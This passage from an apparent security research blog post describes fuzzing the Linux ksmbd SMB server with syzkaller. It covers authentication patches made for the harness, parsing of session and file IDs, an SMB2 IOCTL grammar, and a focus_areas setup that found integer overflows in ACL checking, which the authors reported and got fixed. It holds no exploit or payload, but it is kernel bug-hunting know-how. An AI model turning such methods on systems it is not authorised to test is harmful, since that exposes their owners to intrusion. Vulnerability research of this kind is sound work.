&lt;p&gt;The remaining files in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fs/smb/server&lt;/code&gt; directory were either part of standard communication or exercising them required a more complex setup, as in the case of various authentication schemes.&lt;/p&gt;

&lt;h2 id=&quot;fuzzer-improvements&quot;&gt;Fuzzer Improvements&lt;/h2&gt;

&lt;p&gt;SMB3 expects a valid session setup before most operations, and its authentication flow is multi-step, requiring correct ordering. Implementing valid Kerberos authentication was impractical for fuzzing.&lt;/p&gt;

&lt;p&gt;As described in the first part, we patched the NTLMv2 authentication to be able to interact with resources. We also explicitly allowed guest accounts and specified &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map to guest = bad user&lt;/code&gt; to allow a fallback to “guest” when credentials were invalid. After reporting &lt;a href=&quot;https://lore.kernel.org/linux-cve-announce/2024111946-CVE-2024-50285-6013@gregkh/&quot;&gt;CVE-2024-50285: ksmbd: check outstanding simultaneous SMB operations&lt;/a&gt;, credit limitations became more strict, so we patched that out as well to avoid rate limiting.&lt;/p&gt;

&lt;p&gt;When we restarted syzkaller with a larger corpus, a few minutes later, all remaining candidates were rejected. After some investigation, we realized it was due to the default &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;max connections = 128&lt;/code&gt;, which we had to increase to the maximum value 65536. No other limits were changed.&lt;/p&gt;

&lt;h3 id=&quot;state-management&quot;&gt;State Management&lt;/h3&gt;

&lt;p&gt;SMB interactions are stateful, relying on sessions, TreeIDs, and FileIDs. Fuzzing required simulating valid transitions like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smb2_create&lt;/code&gt; ⇢ &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smb2_ioctl&lt;/code&gt; ⇢ &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smb2_close&lt;/code&gt;. When we initiated operations such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smb2_tree_connect&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smb2_sess_setup&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smb2_create&lt;/code&gt;, we manually parsed responses in the pseudo-syscall to extract resource identifiers and reused them in subsequent calls. Our harness was programmed to send multiple messages per pseudo-syscall.&lt;/p&gt;

&lt;p&gt;Example code for resources parsing is displayed below:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// process response. does not contain +4B PDU length&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;process_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msg_no&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;received&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// .. snip ..&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Extract SMB2 command&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;uint16_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmd_rsp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CMD_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;debug&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Response command: 0x%04x&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmd_rsp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd_rsp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SMB2_TREE_CONNECT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;received&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TREE_ID_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;tree_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TREE_ID_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;debug&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Obtained tree_id: 0x%x&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tree_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SMB2_SESS_SETUP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;// First session setup response carries session_id&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg_no&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x01&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;received&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SESSION_ID_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;session_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SESSION_ID_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;debug&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Obtained session_id: 0x%llx&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;session_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SMB2_CREATE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;received&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CREATE_VFID_OFFSET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;persistent_file_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CREATE_PFID_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;volatile_file_id&lt;/span&gt;   &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CREATE_VFID_OFFSET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;debug&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Obtained p_fid: 0x%llx, v_fid: 0x%llx&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
              &lt;span class=&quot;n&quot;&gt;persistent_file_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;volatile_file_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;nl&quot;&gt;default:&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;debug&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Unknown command (0x%04x)&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmd_rsp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Another issue we had to solve was that ksmbd relies on global state-memory pools or session tables, which makes fuzzing less deterministic. We tried enabling the experimental &lt;a href=&quot;https://github.com/google/syzkaller/blob/bf27483f963359281b2d9b6d6efd36289f82e282/pkg/mgrconfig/config.go#L238&quot;&gt;reset_acc_state&lt;/a&gt; feature to reset accumulated state, but it slowed down fuzzing significantly. We decided to not care much about reproducibility, since each bug typically appeared in dozens or even hundreds of test cases. For the rest, we used focused fuzzing, as described below.&lt;/p&gt;

&lt;h3 id=&quot;protocol-specification&quot;&gt;Protocol Specification&lt;/h3&gt;

&lt;p&gt;We based our harness on the official SMB protocol specification by implementing a grammar for all supported SMB commands. Microsoft publishes detailed technical documents for SMB and other protocols as part of its &lt;a href=&quot;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/6eaf6e75-9c23-4eda-be99-c9223c60b181&quot;&gt;Open Specifications program&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As an example, the wire format of the &lt;a href=&quot;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5c03c9d6-15de-48a2-9835-8fb37f8a79d8&quot;&gt;SMB2 IOCTL Request&lt;/a&gt; is shown below:&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/ksmbd_ioctl_request.png&quot; alt=&quot;SMB2 IOCTL Request packet&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 600px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;We then manually rewrote this specification into our grammar, which allowed our harness to automatically construct valid SMB2 IOCTL requests:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;smb2_ioctl_req&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Header_Prefix&lt;/span&gt;           &lt;span class=&quot;n&quot;&gt;SMB2Header_Prefix&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Command&lt;/span&gt;                 &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Header_Suffix&lt;/span&gt;           &lt;span class=&quot;n&quot;&gt;SMB2Header_Suffix&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;StructureSize&lt;/span&gt;           &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;57&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Reserved&lt;/span&gt;                &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;CtlCode&lt;/span&gt;                 &lt;span class=&quot;n&quot;&gt;union_control_codes&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;PersistentFileId&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;VolatileFileId&lt;/span&gt;          &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;InputOffset&lt;/span&gt;             &lt;span class=&quot;n&quot;&gt;offsetof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;InputCount&lt;/span&gt;              &lt;span class=&quot;n&quot;&gt;bytesize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;MaxInputResponse&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;65536&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;OutputOffset&lt;/span&gt;            &lt;span class=&quot;n&quot;&gt;offsetof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;OutputCount&lt;/span&gt;             &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;MaxOutputResponse&lt;/span&gt;       &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;65536&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Flags&lt;/span&gt;                   &lt;span class=&quot;n&quot;&gt;int32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Reserved2&lt;/span&gt;               &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;int32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Input&lt;/span&gt;                   &lt;span class=&quot;n&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;int8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;Output&lt;/span&gt;                  &lt;span class=&quot;n&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;int8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;packed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We did a final check against the source code to identify and verify possible mismatches during our translation.&lt;/p&gt;

&lt;h2 id=&quot;fuzzing-strategies&quot;&gt;Fuzzing Strategies&lt;/h2&gt;

&lt;p&gt;Since we were curious about the bugs that might be missed when using only the default syzkaller configuration with a corpus generated from scratch, we explored different fuzzing approaches, each of which is described in the following subsections.&lt;/p&gt;

&lt;h3 id=&quot;focusareas&quot;&gt;FocusAreas&lt;/h3&gt;

&lt;p&gt;Occasionally, we triggered a bug that we were not able to reproduce, and it was not immediately clear from the crash log why it occurred. In other cases, we wanted to focus on a parsing function that had weak coverage. The experimental function &lt;a href=&quot;https://github.com/google/syzkaller/blob/bf27483f963359281b2d9b6d6efd36289f82e282/pkg/mgrconfig/config.go#L257&quot;&gt;focus_areas&lt;/a&gt; allows exactly that.&lt;/p&gt;

&lt;p&gt;For instance, by targeting &lt;a href=&quot;https://github.com/torvalds/linux/blob/beff0bc9d69bc8e733f9bca28e2d3df5b3e10e42/fs/smb/server/smbacl.c#L1241&quot;&gt;smb_check_perm_dacl&lt;/a&gt; with&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;&quot;focus_areas&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;filter&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;functions&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;smb_check_perm_dacl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;weight&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;20.0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;filter&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;files&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;^fs/smb/server/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;weight&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;2.0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;weight&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;1.0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;we identified multiple &lt;a href=&quot;https://github.com/torvalds/linux/commit/beff0bc9d69bc8e733f9bca28e2d3df5b3e10e42&quot;&gt;integer overflows&lt;/a&gt; and were able to quickly suggest and confirm the patch.&lt;/p&gt;

&lt;p&gt;To reach the vulnerable code, syzkaller constructed an ACL that passed validation and led to an integer overflow. After rewriting it in Python, it looked like this:&lt;/p&gt;

